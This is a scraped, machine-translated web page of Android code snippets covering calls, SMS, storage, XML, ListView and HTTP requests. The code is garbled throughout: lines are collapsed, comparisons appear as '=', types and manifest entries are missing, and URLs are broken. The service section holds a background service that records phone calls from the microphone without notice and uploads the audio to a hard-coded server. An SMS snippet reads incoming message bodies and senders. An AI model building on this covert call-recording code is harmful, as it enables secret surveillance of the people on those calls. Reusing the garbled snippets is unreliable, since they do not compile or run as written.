Code snippets for android tips

Source: Internet
Author: User

Code snippets for android tips
1. Call the phone number

    Intent intent = new Intent();    intent.setAction(Intent.ACTION_CALL);    intent.setData(Uri.parse("tel:"+number));    startActivity(intent);

2. What is the maximum text length of a text message after the SMS operation is too long? 70 Chinese characters, 160 English characters

SmsManager smsmanager = SmsManager. getDefault ();/** sentIntent, intent of deliveryIntent extension, * sentintent delivery report * deliveryIntent delivery report */ArrayList
  
   
Messages = smsmanager. divideMessage (content); for (String message: messages) {smsmanager. sendTextMessage (number, null, message, null, null );}
  

3. Check the SD card status and write data to the SD card. Permission required

// MEDIA_UNKNOWN: unable to recognize SD card // MEDIA_REMOVED: No SD card // MEDIA_UNMOUNTED: the SD card exists but not mounted // MEDIA_CHECKING: the SD card is being prepared // MEDIA_MOUNTED: the SD card has been mounted, available if (Environment. getExternalStorageState (). equals (Environment. MEDIA_MOUNTED) // returns a File object with the path File = new file (Environment. getExternalStorageDirectory (), "info.txt"); FileOutputStream fos; try {fos = new FileOutputStream (file); fos. write (name + "#" + pass ). getBytes (); fos. close ();} catch (Exception e) {e. printStackTrace () ;}} else {Toast. makeText (this, "SD card not available ", 0 ). show ();}}

4. Determine the remaining capacity of the SD card.

File path = Environment. getExternalStorageDirectory (); StatFs stat = new StatFs (path. getPath (); long blockSize; long totalBlocks; long availableBlocks; // obtain the level of the current system version if (Build. VERSION. SDK_INT> = Build. VERSION_CODES.JELLY_BEAN_MR2) {// blockSize = stat starts to function after version 4.3. getBlockSizeLong (); totalBlocks = stat. getBlockCountLong (); availableBlocks = stat. getAvailableBlocksLong ();} else {// otherwise, use the old api blockSize = stat. getBlockSize (); totalBlocks = stat. getBlockCount (); availableBlocks = stat. getAvailableBlocks ();} TextView TV = (TextView) findViewById (R. id. TV); TV. setText (formatSize (availableBlocks * blockSize ));

5. Use the xml serializer to generate an xml file

// 1. get the serializer object XmlSerializer xs = Xml. newSerializer (); // 2. initialize File file = new File ("sdcard/sms2.xml"); try {FileOutputStream fos = new FileOutputStream (file); // enconding: Specify the encoding used to generate the xml File xs. setOutput (fos, "UTF-8"); // 3. start generating the xml file // enconding: specify the value of the enconding attribute in the header node xs. startDocument ("UTF-8", true); xs. startTag (null, "message"); for (Message sms: smsList) {xs. startTag (null, "sms"); xs. startTag (null, "body"); xs. text (sms. getBody () +"
"); Xs. endTag (null, "body"); xs. startTag (null, "date"); xs. text (sms. getDate (); xs. endTag (null, "date"); xs. startTag (null, "type"); xs. text (sms. getType (); xs. endTag (null, "type"); xs. startTag (null, "address"); xs. text (sms. getAddress (); xs. endTag (null, "address"); xs. endTag (null, "sms");} xs. endTag (null, "message"); // tells the serializer that the file is generated xs. endDocument ();} catch (Exception e) {// TODO Auto-generated catch block e. printStackTrace ();}

6. parse xml files

// Obtain the resource file InputStream under the src folder is = getClassLoader (). getResourceAsStream ("weather. xml "); // get the pull parser object XmlPullParser xp = Xml. newPullParser (); // initialize try {xp. setInput (is, "gbk"); // gets the event type of the current node. By judging the event type, we can know what node is the current node, so as to determine what operations we should do int type = xp. getEventType (); City city = null; while (type! = XmlPullParser. END_DOCUMENT) {// perform different operations on the switch (type) {case XmlPullParser according to the node type. START_TAG: // get the name of the current node if ("weather ". equals (xp. getName () {// create a city collection object to store the javabean cityList = new ArrayList of the city.
  
   
();} Else if ("city ". equals (xp. getName () {// create the javabean object city = new city ();} else if ("name ". equals (xp. getName () {// obtain the text String name = xp for the next node of the current node. nextText (); city. setName (name);} else if ("temp ". equals (xp. getName () {// get the text of the next node of the current node} else if ("pm ". equals (xp. getName () {// obtain the text of the next node of the current node} break; case XmlPullParser. END_TAG: if ("city ". equals (xp. getName () {} break;} // move the pointer to the next node and return the event type of this node = xp. next () ;}} catch (Exception e) {e. printStackTrace ();}
  

7. listview Optimization

1) Reuse convertView View v = null; // determine whether the entry has a cache if (convertView = null) {// fill the layout file into a View object v = View. inflate (MainActivity. this, R. layout. item_listview, null);} else {v = convertView;} 2) use viewHolder to return a View object, which is displayed as a listview entry to the public View getView (int position, View convertView, viewGroup parent) {News news = newsList. get (position); View v = null; ViewHolder mHolder; if (convertView = null) {v = View. inflate (MainActivity. this, R. layout. item_listview, null); mHolder = new ViewHolder (); // encapsulate the objects of all components in the layout file to mHolder in the ViewHolder object. TV _title = (TextView) v. findViewById (R. id. TV _title); mHolder. TV _detail = (TextView) v. findViewById (R. id. TV _detail); mHolder. TV _comment = (TextView) v. findViewById (R. id. TV _comment); mHolder. siv = (SmartImageView) v. findViewById (R. id. iv); // encapsulate the ViewHolder object into the View object v. setTag (mHolder);} else {v = convertView; mHolder = (ViewHolder) v. getTag () ;}// set mHolder for the three text boxes. TV _title.setText (news. getTitle (); mHolder. TV _detail.setText (news. getDetail (); mHolder. TV _comment.setText (news. getComment () + "Comments"); // set the message content mHolder for the news image imageview. siv. setImageUrl (news. getImageUrl (); return v;} class ViewHolder {// The layout file contains components. The attributes TextView TV _title; TextView TV _detail; TextView TV _comment; SmartImageView siv;} are defined here ;}

8 Use of junit testing framework

1) Add the following code to manifest:
  
   
2) Add the following code under application
   
    
3) create a test class to inherit from AndroidTestCase class 4) Compile the test method
   
  

10 principle of using get to submit data: Assembling URLs

String param1 = URLEncoder. encode (name); String param2 = URLEncoder. encode (password); URL url = new URL (path + "? Name = "+ param1 +" & password = "+ param2); HttpURLConnection conn = (HttpURLConnection) url. openConnection (); conn. setRequestMethod ("GET"); conn. setReadTimeout (5000); // The data is not sent to the server // obtain the stream information returned by the server. InputStream is = conn. getInputStream ();

11 garbled characters may occur when you submit Chinese characters.

1) server issues Tomcat default encoding for iso8859-1 and the data submitted for UTF-8 processing method: Server onPost method in Sring name = request. getParameter ("name"); if (name! = Null) {name = new String (name. getBytes ("iso8859-1"), "UTF-8");} 2) Android client issues submitted url Chinese to encoding solution String param1 = URLEncoder. encode (name); String param2 = URLEncoder. encode (password); URL url = new URL (path + "? Name = "+ param1 +" & password = "+ param2 );

12. Use the post method to submit data

1) the size of data submitted by get is relatively small. 4 K internal data can be submitted to the server in the form of a large data form stream by means of url grouping. public static String sendDataByPost (String path, string name, String password) throws Exception {String param1 = URLEncoder. encode (name); String param2 = URLEncoder. encode (password); URL url = new URL (path); HttpURLConnection conn = (HttpURLConnection) url. openConnection (); String data = "name =" + param1 + "& password =" + param2; conn. setRequestMethod ("POST"); conn. setConnectTimeout (5000); // set the http protocol to write data to the server conn. setDoOutput (true); // set the http message header to set the submitted data type to form type conn. setRequestProperty ("Content-Type", "application/x-www-form-urlencoded"); conn. setRequestProperty ("Content-Length", data. length () + ""); // write the data we have prepared to the server OutputStream OS = conn. getOutputStream (); OS. write (data. getBytes (); // httpurlconnection underlying implementation outputstream is a buffer output stream // as long as we get the information returned by any server, the data will be submitted to the server, int code = conn. getResponseCode (); if (code = 200) {InputStream is = conn. getInputStream (); byte [] result = StreamTool. getBytes (is); return new String (result);} else {throw new IllegalStateException ("server status exception") ;}} 2) process Chinese garbled String param1 = URLEncoder. encode (name); String param2 = URLEncoder. encode (password); URL url = new URL (path); HttpURLConnection conn = (HttpURLConnection) url. openConnection (); String data = "name =" + param1 + "& password =" + param2;

13 because it is difficult to submit data for the http protocol, gogole provides a simple api httpclient to simulate the use of httpclient get to submit data in a browser.

/*** Simple packaging of the httpclient browser * new HttpClient is equivalent to obtaining a browser */public static String sendDataByHttpClientGet (String path, String name, String password) throws Exception {// 1. get a browser instance HttpClient client = new DefaultHttpClient (); // 2. string param1 = URLEncoder. encode (name); String param2 = URLEncoder. encode (password); HttpGet httpGet = new HttpGet (path + "? Name = "+ param1 +" & password = "+ param2); // 3. send the request HttpResponse ressponse = client.exe cute (httpGet); int code = ressponse. getStatusLine (). getStatusCode (); if (code = 200) {InputStream is = ressponse. getEntity (). getContent (); byte [] result = StreamTool. getBytes (is); return new String (result);} else {throw new IllegalStateException ("server status exception ");}}

14. Use httpclient post to submit data

Public static String sendDataByHttpClientPost (String path, String name, String password) throws Exception {// 1. get a browser instance HttpClient client = new DefaultHttpClient (); // 2. prepare the Data Type HttpPost httppost = new HttpPost (path); // List of key-value pairs <NameValuePair> parameters = new ArrayList
  
   
(); Parameters. add (new BasicNameValuePair ("name", name); parameters. add (new BasicNameValuePair ("password", password); UrlEncodedFormEntity entity = new UrlEncodedFormEntity (parameters, "UTF-8"); // 3. sets the data entity httppost for the post request. setEntity (entity); // 4. send data to the server HttpResponse ressponse = client.exe cute (httppost); int code = ressponse. getStatusLine (). getStatusCode (); if (code = 200) {InputStream is = ressponse. getEntity (). getContent (); byte [] result = StreamTool. getBytes (is); return new String (result);} else {throw new IllegalStateException ("server status exception ");}}
  

15 The onreceive method is used to obtain text messages from the SMS listener.

// Intent stores the content of the received text message Object [] pdus = (Object []) intent. getExtras (). get ("pdus"); for (Object pdu: pdus) {SmsMessage message = SmsMessage. createFromPdu (byte []) pdu); // obtain the text message body final String content = message. getMessageBody (); // get the message sender final String address = message. getOriginatingAddress ();

The service of the four major components is running in the main thread. Configure components in AndroidManifest

Start the service: Intent intent = new Intent (this, PhoneListenService. class); startService (intent); 1. Enable the telephone listening permission in the service:
  
   
Listen to phone status
   
    
Monitor SD card status
    
     
Write External Storage Device
     
      
Mic for recording
      
        Public class PhoneListenService extends Service {public IBinder onBind (Intent intent) {return null;} // 2. the onCreate method executes public void onCreate () {super. onCreate (); setForeground (true); // upgrade to foreground process // 1. determine the status of the current mobile phone. // If the mobile phone is found to be in the call status, // create a recording recorder and record the user's call Information. // when the mobile phone is found to be in the idle status again, stop the recorder, upload the audio file to the server // obtain the TelephonyManager = (TelephonyManager) service related to the phone status. this. getSystemService (TEL EPHONY_SERVICE); // listens to the phone status manager. listen (new MyPhoneListener (), PhoneStateListener. LISTEN_CALL_STATE);} private class MyPhoneListener extends PhoneStateListener {MediaRecorder recorder = null; /*** call method called when the call status of the phone changes */@ Override public void onCallStateChanged (int state, String incomingNumber) {try {switch (state) {case TelephonyManager. CALL_STATE_IDLE: // The current phone is idle. out. println ("Current The phone is idle "); // determines whether recorder is empty if (recorder! = Null) {recorder. stop (); recorder. release (); // Now the object cannot be reused recorder = null; new Thread () {@ Override public void run () {// File file = new File ("/sdcard/temp.3gp"); try {upload (file);} catch (Exception e) {e. printStackTrace ();}}}. start ();} break; case TelephonyManager. CALL_STATE_RINGING: // The current phone is in the zero-ring state. out. println ("phone number" + incomingNumber); break; case TelephonyManager. CALL_STATE_OFFHOOK: // System. out. println ("the current phone is in the call state"); // initialize a recorder, recorder = new MediaRecorder (); recorder. setAudioSource (MediaRecorder. audioSource. MIC); recorder. setOutputFormat (MediaRecorder. outputFormat. THREE_GPP); recorder. setAudioEncoder (MediaRecorder. audioEncoder. AMR_NB); recorder. setOutputFile ("/sdcard/temp.3gp"); recorder. prepare (); recorder. start (); // Recording is now started break;} catch (Exception e) {e. printStackTrace ();} super. onCallStateChanged (state, incomingNumber) ;}} public void upload (File file) throws Exception {// instantiate the uploaded data array part [] Part [] parts = {new FilePart ("file", file)}; PostMethod filePost = new PostMethod ("http: /// 192.168.1.247: 8080/web/LoginServlet "); filePost. setRequestEntity (new MultipartRequestEntity (parts, filePost. getParams (); org. apache. commons. httpclient. httpClient client = new org. apache. commons. httpclient. httpClient (); client. getHttpConnectionManager (). getParams (). setConnectionTimeout (5000); int status = client.exe cuteMethod (filePost); if (status = 200) {System. out. println ("uploaded successfully");} else {throw new IllegalStateException ("server status exception ");}}}
      
     
    
   
  

Lifecycle of 13service

Oncreate () method called during service creation onstart () method called when the service is enabled ondestroy () method called when the service is stopped two ways to enable the Service 1) Through startservice () start Service StopService () to end the service. 2) binding method parameter 1 intent 2 serviceConnection Interface 3 Context. BIND_AUTO_CREATE bind bindService (service, conn, flags); unBindService

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.